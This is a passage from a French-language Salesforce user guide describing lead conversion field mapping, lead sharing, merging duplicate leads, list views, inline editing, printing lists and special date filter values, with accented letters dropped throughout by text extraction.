Toutes les notes et pices jointes d'une piste sont converties et associes aux nouveaux compte et contact. Toutes les activits
ouvertes et tout l'historique des activits de la piste sont convertis et associs aux nouveaux compte, contact et opportunit.
L'enregistrement de piste converti ne peut plus tre affich, mme s'il alimente les rapports en donnes.

Voir aussi :
Mappage des conversions de pistes

Mappage des conversions de pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Lorsque vous convertissez une piste, les champs de piste standard sont automatiquement convertis dans les champs de compte,
contact et opportunit standard prsents ci-dessous. Les champs de piste personnaliss sont convertis dans les champs
personnaliss de compte, de contact et d'opportunit, conformment aux spcifications de l'administrateur. Reportez-vous
Mappage des champs de piste personnaliss la page 589.
Champ de piste

Mappage

Adresse

Compte : Adresse de facturation

Contact : Adresse postale

Chiffre d'affaires annuel

Compte : Chiffre d'affaires annuel

Piste

Guide de l'utilisateur | Conversion de pistes | 1534

Champ de piste

Mappage

Campagne

Opportunit : Source de la campagne principale

Si plusieurs campagnes sont associes la piste, la campagne
associe la plus rcente est insre dans l'opportunit, que
l'utilisateur dispose ou non d'un accs partag cette
campagne.

Socit

Compte : Nom du compte

Contact : Compte
Opportunit : Nom du compte
Opportunit : Nom d'opportunit

Nom de la socit (local)

Compte : Nom du compte (local)

Description

Contact : Description

Ne pas appeler

Contact : Ne pas appeler

Ce champ n'est pas mis jour pour les pistes converties en
contacts existants.

E-mail

Contact : E-mail

Dsinscription d'adresse e-mail

Contact : Dsinscription d'adresse e-mail

Ce champ n'est pas mis jour pour les pistes converties en
contacts existants.

Tlcopie

Compte : Tlcopie
Contact : Tlcopie

Dsinscription de tlcopie

Contact : Dsinscription de tlcopie

Prnom

Contact : Prnom

Prnom (local)

Contact : Prnom (local)

Secteur d'activit

Compte : Secteur d'activit

Nom

Contact : Nom

Nom (local)

Contact : Nom (local)

Responsable de la piste

Compte : Responsable
Contact : Responsable
Opportunit : Responsable

Origine de la piste

Contact : Origine de la piste

Opportunit : Origine de la piste

Mobile

Contact : Mobile

Piste

Guide de l'utilisateur | Partage de pistes | 1535

Champ de piste

Mappage

Nombre d'employs

Compte : Employs

Compte partenaire

Opportunit : Compte partenaire

Ce champ n'est pas mis jour pour les pistes converties en
opportunits existantes.

Tlphone

Compte : Tlphone
Contact : Tlphone

Cote

Compte : Cote

Titre

Contact : Titre

Site Web

Compte : Site Web

Remarque: Si vous n'utilisez pas d'exercices personnaliss, la date de clture de l'opportunit rcemment cre
est automatiquement fixe au dernier jour du trimestre fiscal en cours.
Si vous utilisez des exercices personnaliss, la date de clture est fixe au dernier jour de la priode d'exercice en
cours. Si vous utilisez les exercices personnaliss et que la date en cours n'est pas dfinie, la date de clture est
fixe la fin du trimestre calendaire en cours.

Partage de pistes
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

L'administrateur dfinit le modle de partage de l'organisation ; vous pouvez cependant tendre les privilges de partage pour
vos propres donnes au niveau de chacune des pistes. Le partage de piste vous permet d'augmenter l'accs vos pistes ; vous
ne pouvez pas restreindre l'accs au-del des niveaux d'accs par dfaut de votre entreprise.
Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails de la piste. Cette page rpertorie les
utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag la piste. Cette page permet d'effectuer les
oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Remarque: Pour partager une piste avec un autre utilisateur, ce dernier doit disposer de l'autorisation Lire dans
les pistes.

Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs l'enregistrement.

Piste

Guide de l'utilisateur | Fusion des pistes en double | 1536

Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.

Voir aussi :
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs

Fusion des pistes en double

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des pistes :

Autorisation de lecture sur les pistes

Pour fusionner des pistes :

Autorisation de suppression sur les pistes

Pour fusionner des pistes en double :

1. Slectionnez un enregistrement de piste.
2. Cliquez sur Chercher les doublons.
3. Slectionnez jusqu' trois pistes dans la liste des pistes que vous souhaitez fusionner.
Le cas chant, entrez une nouvelle socit ou un nouveau nom de piste, puis cliquez sur Rechercher pour rechercher une
autre piste fusionner. Salesforce.com effectue une recherche d'expression pour dtecter les correspondances dans les
champs Nom et Socit. Il prend galement en compte les caractres gnriques aprs une entre. Les rsultats de la
recherche renvoient les correspondances trouves pour tous les champs saisis. Ainsi, si vous avez saisi Bob Jones qui travaille
chez Acme, les rsultats de la recherche renvoient toutes les personnes s'appelant Bob Jones, toutes socits et toutes pistes
confondues, et dont la socit est Acme.
4. Cliquez sur Fusionner Pistes.
Conseil: Cliquez sur Convertir la Piste pour rapidement convertir la piste slectionne en compte, opportunit
et contact existant.
5. Slectionnez une piste comme enregistrement principal. Toute donne inscrite dans un champ masqu ou en lecture seule
sera extraite de l'enregistrement principal. Toutefois, les administrateurs et les utilisateurs autoriss modifier les champs
en lecture seule pourront slectionner manuellement les champs en lecture seule conserver. Les champs masqus
n'apparaissent pas lors de la fusion.
6. Slectionnez les champs conserver pour chaque enregistrement.
En cas de conflit de donnes, les champs de la colonne gauche sont prslectionns et la ligne est marque.
7. Cliquez sur le bouton Fusionner pour effectuer la fusion.
8. Cliquez sur OK pour terminer.

Piste

Guide de l'utilisateur | Fusion des pistes en double | 1537

Remarque: Pour fusionner des pistes, vous devez tre autoris les supprimer.

Voir aussi :
Fusion des contacts en double
Fusion de comptes en double

Vues de liste
Cration de vues Listes personnalises
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des vues de liste personnalises :

Autorisation de lecture sur le type d'enregistrement inclus dans

la liste

Pour crer, modifier ou supprimer des vues de liste publique : Grer les vues de liste publique

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
Vous pouvez crer des vues de liste pour afficher un ensemble donn d'enregistrements (contacts, documents ou campagnes).
Vous pouvez, par exemple, crer une vue de liste des comptes avec un statut, des pistes avec une Origine de la piste
particulire ou des opportunits suprieures un certain Montant. Vous pouvez galement crer des vues de contacts, de
pistes, d'utilisateurs ou de requtes utiliser pour crer des listes de destinataires de messages en masse.
Pour modifier ou supprimer une vue que vous avez cre, cliquez sur Modifier en regard de la liste droulante Vue. Les
administrateurs et les utilisateurs autoriss grer les vues de liste publique peuvent galement modifier ou supprimer des vues
publiques et certaines des vues standard Salesforce.com.
Pour crer une nouvelle vue, cliquez sur Crer une nouvelle vue en haut de toute page de liste voulue ou dans la section Vue
de toute page d'accueil d'onglet. Entrez les informations suivantes :
1. Entrer le nom de la vue
Entrez le nom qui apparatra dans la liste droulante Vue.
2. Si vous disposez de l'autorisation Personnaliser l'application, entrez un Nom unique. Le nom unique permet de rfrencer
le composant lors de l'utilisation de l'API Force.com. Dans des packages grs, ce nom vite les conflits de nom dans les
installations de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre
unique dans votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait
de soulignement et ne doit pas contenir deux traits de soulignement conscutifs. Le champ Nom unique permet un
dveloppeur de modifier les noms ou les titres de certains composants dans un package gr et d'appliquer les modifications
dans l'organisation d'un abonn.
3. Indiquer les critres du filtre
Filtrer par propritaire :
Ces options varient en fonction du type d'enregistrement. En gnral, slectionnez All... ou My... pour spcifier
l'ensemble d'enregistrements rechercher. Vous pouvez avoir des options supplmentaires :

Les vues de liste de piste et de requte peuvent tre restreintes par file d'attente.
Les vues de liste de catalogue de prix peuvent tre restreintes par catalogue de prix.
Les vues de liste d'activits ont plusieurs options ; reportez-vous Affichage des listes d'activits la page 1079.

Vues de liste

Guide de l'utilisateur | Cration de vues Listes personnalises | 1539

Si votre entreprise dispose d'une gestion des territoires, les vues de liste de compte et d'opportunit peuvent tre
restreintes par Mes territoires ou Les quipes de mes territoires. L'option Mes territoires
dsigne les enregistrements associs aux territoires auxquels vous appartenez. L'option Les quipes de mes
territoires dsigne les enregistrements associs l'un des territoires auxquels vous appartenez ou aux territoires
situs en dessous de vous dans la hirarchie des territoires.
Si votre entreprise dispose d'quipes de requte, les vues de liste de pistes peuvent tre limites par Mes quipes
de requte.
Si votre entreprise dispose d'quipes de compte, les vues de liste de comptes peuvent tre limites par Mes
quipes de compte.
Si votre entreprise dispose d'quipes de vente, les vues de liste d'opportunits peuvent tre limites par Mes
quipes de vente.

Filtrer par campagne

Cette option est disponible dans les vues de liste suivantes :

Page d'accueil des contacts

Page d'accueil des pistes
Contacts de messages en masse
Envoyer des e-mails en masse aux pistes
Assistant d'ajout en masse de membres de campagne
Assistant de mise jour en masse de membres de campagne

Si vous modifiez une vue liste filtre par campagne et que vous ne possdez pas au moins un accs en lecture pour la
campagne, une erreur vous sera retourne lorsque vous essaierez d'enregistrer la vue liste.
Filtrer par division
Si votre organisation utilise des services pour segmenter les donnes et que vous disposez de l'autorisation Affect
par services, slectionnez le service auquel doivent correspondre les enregistrements de la vue de liste. Cette option
est dsactive si vous n'effectuez pas une recherche sur tous les enregistrements.
Slectionnez Courant pour afficher les enregistrements de votre service actuel.
Filtrer par champs supplmentaires
Vous pouvez galement saisir des critres de filtre pour spcifier les conditions auxquelles les lments slectionns
doivent correspondre, par exemple Origine de la piste gale Web. Vous pouvez aussi utiliser des
valeurs de date spciales dans vos critres de filtre.
Remarque: Lorsque vous slectionnez le champ Date de cration dans un filtre de vue de liste, la valeur
que vous spcifiez doit tre une date uniquement, pas une heure. Cette restriction ne s'applique pas aux autres
filtres.
4. Slectionner les champs afficher
Les champs par dfaut sont automatiquement slectionns. Vous pouvez choisir jusqu' 15 champs diffrents afficher
dans la vue. Vous ne pouvez afficher que les champs disponibles dans votre prsentation de page. Lorsque vous slectionnez
un champ de zone de texte longue, vous voyez apparatre jusqu' 255 caractres dans la vue de liste.
a. Pour ajouter ou supprimer des champs, slectionnez un nom de champ et cliquez sur la flche Ajouter ou Supprimer.
b. Utilisez les flches pour organiser les champs dans l'ordre appropri.

Vues de liste

Guide de l'utilisateur | Cration de vues Listes personnalises | 1540

5. Restreindre la visibilit
Si vous tes un administrateur ou un utilisateur autoris grer les vues de liste publique, spcifiez si la vue est accessible
tous les utilisateurs, ou seulement vous. Cette option n'est pas disponible dans Personal Edition. Pour consulter une
vue de liste, les utilisateurs doivent galement possder l'autorisation de lecture approprie sur le type d'enregistrement de
cette vue.
Par ailleurs, les utilisateurs d'Enterprise Edition, d'Unlimited Edition et de Developer Edition peuvent spcifier l'accs
la vue personnalise d'un groupe public, d'un rle, ou d'un rle constitu de tous les utilisateurs se trouvant hirarchiquement
au-dessous de ce rle. Pour partager la vue liste, slectionnez Visible certains groupes d'utilisateurs,
choisissez le type de groupe dans la liste droulante, slectionnez le groupe ou le rle dans la liste en dessous puis cliquez
sur Ajouter.
Remarque: Les vues de liste sont visibles pour vos clients dans le portail Client Salesforce.com si le bouton radio
Visible pour tous les utilisateurs est slectionn pour les vues des objets attribus aux profils des
utilisateurs du portail client. Pour crer des vues listes auxquelles seuls vos utilisateurs Salesforce.com peuvent
accder, slectionnez Visible certains groupes d'utilisateurs, puis partagez-les avec le groupe
Tous les utilisateurs internes ou un ensemble slectionn de groupes et de rles internes.
Lors de la mise en uvre d'un portail client, crez des vues personnalises ne contenant que des informations
pertinentes pour les utilisateurs du portail client, puis rendez-les visibles pour les utilisateurs du portail client en
les partageant avec Tous les portails client. Groupe d'utilisateurs ou une slection de groupes et de rles du portail.
Pour plus d'informations sur le portail client, reportez-vous Configuration du portail Client la page 1284.
6. Cliquez sur Enregistrer. La vue apparat dans la liste droulante Vue pour que vous puissiez y accder ultrieurement.
Vous pouvez renommer une vue de liste existante et cliquer sur Enregistrer sous pour enregistrer les critres de la vue de
liste sans modifier la vue d'origine.
Pour revenir la dernire page affiche, cliquez sur Retour la liste en haut de toute page de dtails.
Remarque: Les informations contenues dans les vues de liste sont les seules donnes auxquelles vous avez accs. Il
s'agit des enregistrements dont vous tes responsable ou auxquels vous avez accs en lecture/criture, des enregistrements
qui ont t partags avec vous ou bien des enregistrements sous la responsabilit ou partags avec des utilisateurs ayant
des rles un niveau infrieur au vtre dans la hirarchie des rles.
De plus, seuls les champs visibles dans votre prsentation de page et avec vos paramtres de scurit au niveau du
champ peuvent tre affichs. (La scurit au niveau du champ est uniquement disponible dans Enterprise Edition,
Unlimited Edition et Developer Edition.) Les activits archives n'apparaissent pas dans les vues de liste d'activits.
Vous pouvez utiliser la liste associe Historique des activits pour visualiser ces activits.
Conseil: Dans les vues de liste de comptes, de contacts et de pistes, cliquez sur le lien Ouvrir le calendrier en bas
de la page pour afficher une vue hebdomadaire du calendrier sous la liste. Ensuite, vous pouvez faire glisser un
enregistrement de la liste vers une priode dans le calendrier pour crer rapidement un vnement associ

Vues de liste

Guide de l'utilisateur | Utilisation des listes avances | 1541

l'enregistrement. Notez que votre administrateur contrle la disponibilit de cette fonctionnalit. Pour plus
d'informations, reportez-vous Utilisation de la planification par glisser-dplacer la page 1103.

Voir aussi :
Impression de vues de liste
Cration de vues Listes mobiles
Navigation dans les listes longues
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Utilisation des listes avances

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour utiliser la modification en ligne avec une liste avance : Modifications en masse dans des listes

Les listes avances vous permettent de consulter, de personnaliser et de modifier rapidement des donnes de liste pour acclrer
votre productivit quotidienne. Elles doivent d'abord tre actives par votre administrateur pour que vous puissiez en bnficier.
Les listes avances vous permettent de :

Naviguer dans les rsultats de la liste en cliquant sur l'icne de la premire page (<<), Prcdent, Suivant, ou sur l'icne
de la dernire page (>>) en bas de la liste.
Passer directement une page spcifique de rsultats en saisissant un nombre dans la zone de texte dans le coin infrieur
droit, puis en appuyant sur Entre.
Crer une nouvelle vue en cliquant sur Crer une nouvelle vue. Modifier, supprimer ou rafrachir la vue actuelle en cliquant
respectivement sur, Modifier, Supprimer ou Rafrachir.
Modifier le nombre d'enregistrements affichs par page en cliquant sur l'indicateur de dcompte d'enregistrements dans
le coin infrieur gauche de la liste et en slectionnant le paramtre souhait. Vous pouvez consulter 10, 25, 50, 100, ou 200
enregistrements la fois. Si vous modifiez ce paramtre, vous revenez la premire page des rsultats de la liste.
La modification de vos prfrences concernant le nombre d'enregistrements affichs par page s'applique toutes les listes
de toutes les sous-applications Salesforce.com, et non uniquement celle en cours d'affichage. De plus, si vous modifiez
vos prfrences pour la valeur 200, un message vous avertit d'une dgradation probable des performances.

Modifiez la largeur d'une colonne en faisant glisser la partie droite de l'en-tte de la colonne avec la souris. Toutes les
modifications auxquelles vous procdez sur la largeur des colonnes sont appliques cette seule liste et sont conserves lorsque
vous consultez la liste.
Si vous ajoutez ou supprimez des colonnes d'une liste, toutes les personnalisations de largeur de colonne de cette liste sont
automatiquement ignores.

Vues de liste

Guide de l'utilisateur | Utilisation de la modification en ligne dans des listes | 1542

Modifiez l'ordre dans lequel une colonne apparat en faisant glisser tout l'en-tte de la colonne jusqu' la position souhaite
avec votre souris. Si vous disposez de l'autorisation de modifier la dfinition de la liste, vos modifications sont
automatiquement enregistres pour tous les utilisateurs qui consultent la liste. Si vous ne disposez pas de la permission de
modifier la dfinition de la liste, vos modifications seront ignores lorsque vous quitterez la page.
Modifiez le nombre et l'ordre des colonnes affiches en cliquant sur Modifier ct de la liste droulante dans le coin
suprieur gauche. Reportez-vous Cration de vues Listes personnalises la page 1538.
Si votre administrateur a activ l'option de modification en ligne pour votre entreprise, modifiez directement des
enregistrements uniques partir de la liste en double-cliquant sur des valeurs de champ individuelles. Si votre administrateur
vous a accord l'autorisation de profil utilisateur Modifications en masse dans des listes , vous pouvez aussi modifier
jusqu' 200 enregistrements la fois. Reportez-vous Modifications en ligne dans les listes la page 1542.
Dans les vues de liste de comptes, de contacts et de pistes, cliquez sur le lien Ouvrir le calendrier en bas de la page pour
afficher une vue hebdomadaire du calendrier sous la liste. Ensuite, vous pouvez faire glisser un enregistrement de la liste
vers une priode dans le calendrier pour crer rapidement un vnement associ l'enregistrement. Notez que votre
administrateur contrle la disponibilit de cette fonctionnalit. Pour plus d'informations, reportez-vous Utilisation de la
planification par glisser-dplacer la page 1103.

Voir aussi :
Utilisation de la modification en ligne dans des listes
Personnalisation des paramtres de l'interface utilisateur
Cration de vues Listes personnalises
Navigation dans les listes longues

Utilisation de la modification en ligne dans des listes

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour utiliser la modification en ligne dans une liste avance : Modification massive partir des listes

Si la modification en ligne et les listes avances sont actives, vous pouvez modifier les enregistrements directement dans une
liste. Les champs modifiables affichent l'icne d'un crayon ( ) lorsque vous survolez le champ, tandis que les champs non
modifiables affichent l'icne d'un verrou ( ).
Pour modifier un enregistrement, double-cliquez sur la valeur modifiable, spcifiez une nouvelle valeur, puis cliquez sur OK.
Si vous disposez de l'autorisation Modifications en masse dans des listes , vous pouvez modifier jusqu' 200 enregistrements
la fois. Pour modifier plusieurs enregistrements :
1. Cochez la case en regard de chaque enregistrement mettre jour. Si vous slectionnez des enregistrements dans plusieurs
pages, Salesforce.com mmorise les enregistrements slectionns.
2. Double-cliquez sur l'une des cellules que vous souhaitez modifier. Une bote de dialogue s'affiche et vous permet d'appliquer
votre modification un enregistrement ou tous les enregistrements slectionns.

Vues de liste

Guide de l'utilisateur | Utilisation de la modification en ligne dans des listes | 1543

Remarque: Vous ne pouvez pas modifier plusieurs enregistrements de produits la fois : il faut les modifier un par
un.
Si vous rencontrer des erreurs lors de la tentative de mise jour d'enregistrements, une fentre de la console s'affiche, indiquant
le nom de chaque enregistrement erron (s'il est connu) ainsi qu'une description de la raison pour laquelle l'erreur s'est produite.
Cliquez sur le nom d'un enregistrement dans la fentre de la console pour ouvrir la page dtails de cet enregistrement dans
une nouvelle fentre. Salesforce.com suit les enregistrements sur lesquels vous cliquez dans la console d'erreur en les affichant
sous forme de texte gris et barr.
Remarque: Pour afficher la console d'erreur, vous devez dsactiver le bloqueur de fentres intempestives pour le
domaine Salesforce.com. Pour vrifier si votre navigateur accepte les fentres intempestives, cliquez sur Configuration
Mes informations personnelles Rappels, puis sur Prvisualiser l'alerte de rappel.
Conseils relatifs l'utilisation de la modification en ligne avec des listes
Notez les conseils suivants lors de l'utilisation de la modification en ligne avec des listes :

Certains champs standard ne prennent pas en charge la modification en ligne. Par exemple, Statut de la requte,
tape d'opportunit, Montant d'opportunit, Quantit d'opportunit et Statut de la piste, ainsi
que la plupart des champs Tche et vnement ne peuvent tre modifis qu' partir de la page de modification d'un
enregistrement. Pour plus d'informations, reportez-vous Modification des donnes l'aide de la fonction de modification
en ligne la page 10.
Si votre entreprise utilise des types d'enregistrement, la modification en ligne avec des listes n'est disponible que lorsque
tous les enregistrements de la liste sont du mme type d'enregistrement. Par consquent, vous devez spcifier un filtre de
Type d'enregistrement de piste gal X, o X est le nom d'un seul type d'enregistrement (ou vide pour
le type d'enregistrement matre).
Pour pouvoir effectuer une modification en ligne dans une liste avance, les options de Filtrage avanc doivent tre dsactives
dans les critres de filtrage de vues de liste.
Pour obtenir les listes d'activits, vous devez spcifier un filtre supplmentaire, qui peut tre Tche est gale
vrai (pour les tches) ou Tche est gale faux (pour les vnements) pour que la modification en ligne soit
disponible.
Si votre entreprise utilise des comptes personnels, vous ne pouvez pas utiliser la modification en ligne pour les modifier
partir d'une liste de contacts. Vous pouvez modifier en ligne uniquement des comptes personnels partir d'une liste de
comptes.
Si votre entreprise utilise des comptes personnels, vous ne pouvez utiliser la modification en ligne que sur des contacts
associs des comptes professionnels en spcifiant un filtre supplmentaire Est un compte personnel GALE
Faux dans votre critre de liste.

Vues de liste

Guide de l'utilisateur | Impression de vues de liste | 1544

Impression de vues de liste

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour imprimer des vues de liste :

Autorisation de lecture sur les enregistrements inclus dans la

liste

Remarque: Votre administrateur peut activer et dsactiver des vues de liste imprimables la page 361.

Vous pouvez imprimer des vues de liste pour les types d'enregistrement suivants :

Compte
Activits
Campagnes
Requtes
Contacts
Contrats
Objets personnaliss
Documents
Piste
Opportunits
Catalogues
Profils
Produits
Rapports
Solutions

Pour imprimer une vue de liste :

1. Accdez une vue de liste.
2. Le cas chant, cliquez sur un en-tte de colonne pour trier le contenu de la vue de liste.
3. Cliquez sur l'icne Vue imprimable ( ). La nouvelle fentre de navigateur qui apparat affiche le contenu de la vue de
liste dans un format prt l'impression.
Remarque: La vue imprimable propose le tri que vous avez choisi l'tape prcdente. Pour modifier le tri, fermer
la fentre de vue imprimable, slectionnez l'en-tte de colonne appropri de la vue de liste, puis cliquez sur l'icne
Vue imprimable.
4. Choisissez ventuellement une valeur dans la liste droulante Nombre d'enregistrements pour filtrer le nombre
d'enregistrements qui apparat. Vous pouvez afficher simultanment jusqu' 1 000 enregistrements. Pour en afficher moins,
affinez les critres de votre vue de liste. Pour imprimer plus de 1 000 enregistrements, gnrez un rapport, puis cliquez sur
l'icne Vue imprimable du rapport.

Vues de liste

Guide de l'utilisateur | Navigation dans les listes longues | 1545

5. Cliquez sur Imprimer cette page dans le coin suprieur droit.

Voir aussi :
Cration de vues Listes personnalises

Navigation dans les listes longues

Disponible avec : Toutes les ditions

Dans Salesforce.com, de nombreuses pages de liste comprennent les outils de gestion de gros volumes de donnes suivants :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise.
Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la dans la liste droulante Vue, puis cliquez sur
Modifier.

En haut d'une liste, cliquez sur une lettre pour afficher les lments correspondants ou sur Autre pour afficher les lments
dont le nom commence par un chiffre ou un symbole. Cliquer sur Tout pour afficher tous les lments correspondant aux
critres de la vue actuelle.
Pour trier les lments de vue de liste selon les donnes d'une colonne spcifique, cliquez sur l'en-tte de cette colonne.
Les donnes texte sont classes par ordre alphabtique et les donnes numriques par ordre croissant. Les dates sont classes
en partant de la plus rcente. Pour inverser l'ordre de tri, cliquez de nouveau sur l'en-tte de la colonne.
Remarque: Vous pouvez trier par n'importe quel champ personnalis, l'exception des listes de slection multiple.

Cliquez sur le lien Page prcdente ou Page suivante pour afficher les ensembles d'lments prcdents ou suivants dans
la vue actuelle.
En bas d'une liste, cliquez sur le lien moins ou plus pour diminuer ou augmenter le nombre d'lments par page.

Dans certaines listes associes comportant de nombreux lments, les liens suivants sont disponibles :

Cliquez sur Afficher [nombre] en plus pour augmenter le nombre d'lments dans la liste.
Cliquez sur Aller la liste pour afficher une page secondaire de la liste associe complte.

Voir aussi :
Cration de vues Listes personnalises
Affichage de listes de profils

Vues de liste

Guide de l'utilisateur | Valeurs de date spciales pour les critres de filtrage | 1546

Valeurs de date spciales pour les critres de filtrage

Disponible avec : Toutes les ditions

Utilisez les valeurs de date spciales suivantes lorsque vous dfinissez les critres de filtre en utilisant des dates. Si vous choisissez
un champ de date (par exemple Crer une date, Date de dernire mise jour) comme critre de filtre, la valeur
peut tre une date au format autoris par vos paramtres rgionaux ou l'une des valeurs spciales suivantes :
Valeur de date spciale

Plage

HIER

Commence minuit la veille du jour en cours et continue pendant 24 heures.

AUJOURD'HUI

Commence minuit le jour en cours et continue pendant 24 heures.

DEMAIN

Commence minuit le lendemain du jour en cours et continue pendant

24 heures.

LA SEMAINE DERNIRE

Commence minuit le premier jour de la semaine prcdant la semaine en

cours et se poursuit pendant sept jours.
Pour les versions Enterprise Edition, Unlimited Edition, Professional
Edition, et Developer Edition, la semaine est dfinie par la liste droulante
Paramtres rgionaux dans vos paramtres d'informations personnelles
dans Configuration Mes informations personnelles Informations
personnelles. Pour Contact Manager Edition, Group Edition et Personal
Edition, la semaine est dfinie par les Paramtres rgionaux du profil
de la socit dans Configuration Profil de la socit Informations
sur la socit. Par exemple, lorsque les paramtres rgionaux sont
dfinis sur l'anglais amricain, la semaine va de dimanche samedi, alors
que s'ils sont dfinis sur l'anglais britannique, la semaine va de lundi
dimanche.

CETTE SEMAINE

Commence minuit le premier jour de la semaine en cours et se poursuit

pendant sept jours.
Pour les versions Enterprise Edition, Unlimited Edition, Professional
Edition, et Developer Edition, la semaine est dfinie par la liste droulante
Paramtres rgionaux dans vos paramtres d'informations personnelles
dans Configuration Mes informations personnelles Informations
personnelles. Pour Contact Manager Edition, Group Edition et Personal
Edition, la semaine est dfinie par les Paramtres rgionaux du profil
de la socit dans Configuration Profil de la socit Informations
sur la socit. Par exemple, lorsque les paramtres rgionaux sont
dfinis sur l'anglais amricain, la semaine va de dimanche samedi, alors
que s'ils sont dfinis sur l'anglais britannique, la semaine va de lundi
dimanche.

Vues de liste

Guide de l'utilisateur | Valeurs de date spciales pour les critres de filtrage | 1547

Valeur de date spciale

Plage

LA SEMAINE PROCHAINE

Commence minuit le premier jour de la semaine suivant la semaine en

cours et se poursuit pendant sept jours.
Pour les versions Enterprise Edition, Unlimited Edition, Professional
Edition, et Developer Edition, la semaine est dfinie par la liste droulante
Paramtres rgionaux dans vos paramtres d'informations personnelles
dans Configuration Mes informations personnelles Informations
personnelles. Pour Contact Manager Edition, Group Edition et Personal
Edition, la semaine est dfinie par les Paramtres rgionaux du profil
de la socit dans Configuration Profil de la socit Informations
sur la socit. Par exemple, lorsque les paramtres rgionaux sont
dfinis sur l'anglais amricain, la semaine va de dimanche samedi, alors
que s'ils sont dfinis sur l'anglais britannique, la semaine va de lundi
dimanche.

LE MOIS DERNIER

Commence minuit le premier jour du mois prcdant le mois en cours et

se poursuit tous les jours de ce mois.

CE MOIS-CI

Commence minuit le premier jour du mois en cours et se poursuit tous les

jours de ce mois.

LE MOIS PROCHAIN

Commence minuit le premier jour du mois suivant le mois en cours et se

poursuit tous les jours de ce mois.

LES 90 DERNIERS JOURS

Commence minuit 90 jours avant le jour en cours et se poursuit jusqu' la

seconde en cours. (La plage comprend le jour en cours.)

LES 90 PROCHAINS JOURS

Commence minuit le lendemain du jour en cours et se poursuit pendant

90 jours. (La plage ne comprend pas le jour en cours.)

LES n DERNIERS JOURS

Commence minuit n jours avant le jour en cours et se poursuit jusqu' la

seconde en cours. (La plage comprend le jour en cours.)

LES n PROCHAINS JOURS

Commence minuit le lendemain et se poursuit pendant les n jours suivants.

(La plage ne comprend pas le jour en cours.)

DERNIER TRIMESTRE

Commence minuit le premier jour du trimestre prcdant le trimestre en

cours et se poursuit jusqu' la fin de ce trimestre.

CE TRIMESTRE

Commence minuit le premier jour du trimestre en cours et se poursuit

jusqu' la fin de ce trimestre.

PROCHAIN TRIMESTRE

Commence minuit le premier jour du trimestre suivant le trimestre en

cours et se poursuit jusqu' la fin de ce trimestre.

LES n DERNIERS TRIMESTRES

Commence minuit le premier jour du trimestre, n trimestres auparavant,

et se poursuit jusqu' la fin du trimestre prcdant le trimestre en cours. (La
plage ne comprend pas le trimestre en cours.)

LES n PROCHAINS TRIMESTRES

Commence minuit le premier jour du trimestre suivant le trimestre en

cours et se poursuit jusqu' la fin du trimestre, dans n trimestres. (La plage
ne comprend pas le trimestre en cours.)

Vues de liste

Guide de l'utilisateur | Valeurs de date spciales pour les critres de filtrage | 1548

Valeur de date spciale

Plage

L'ANNE DERNIRE

Commence minuit le 1er janvier de l'anne prcdant l'anne en cours et

se poursuit jusqu' la fin du 31 dcembre de cette anne.

CETTE ANNE

Commence minuit le 1er janvier de l'anne en cours et se poursuit jusqu'

la fin du 31 dcembre de l'anne en cours.

L'ANNE PROCHAINE

Commence minuit le 1er janvier de l'anne suivant l'anne en cours et se

poursuit jusqu' la fin du 31 dcembre de cette anne.

LES n DERNIRES ANNES

Commence minuit le 1er janvier de l'anne, n annes auparavant, et se

poursuit jusqu'au 31 dcembre de l'anne prcdant l'anne en cours.

LES n PROCHAINES ANNES

Commence minuit le 1er janvier de l'anne suivant l'anne en cours et se

poursuit jusqu' la fin du 31 dcembre de la nime anne.

DERNIER TRIMESTRE D'EXERCICE

Commence minuit le premier jour du trimestre fiscal prcdant le trimestre

fiscal en cours et se poursuit jusqu'au dernier jour de ce trimestre. Le trimestre
fiscal est dfini dans le profil de la socit sous Configuration Profil de
la socit Exercice.
Remarque: Aucune valeur de date FISCALE spciale n'est prise
en charge lors de la cration de vues mobiles personnalises.

CE TRIMESTRE D'EXERCICE

Commence minuit le premier jour du trimestre fiscal en cours et se poursuit

jusqu' la fin du dernier jour du trimestre fiscal en cours. Le trimestre fiscal
est dfini dans le profil de la socit sous Configuration Profil de la
socit Exercice.

PROCHAIN TRIMESTRE D'EXERCICE Commence minuit le premier jour du trimestre fiscal suivant le trimestre
fiscal en cours et se poursuit jusqu'au dernier jour de ce trimestre. (La plage
ne comprend pas le trimestre en cours.) Le trimestre fiscal est dfini dans le
profil de la socit sous Configuration Profil de la socit Exercice.
LES n DERNIERS TRIMESTRES
FISCAUX

Commence minuit le premier jour du trimestre fiscal, n trimestres fiscaux

auparavant, et se poursuit jusqu' la fin du dernier jour du trimestre fiscal
prcdent. (La plage ne comprend pas le trimestre fiscal en cours.) Le
trimestre fiscal est dfini dans le profil de la socit sous Configuration
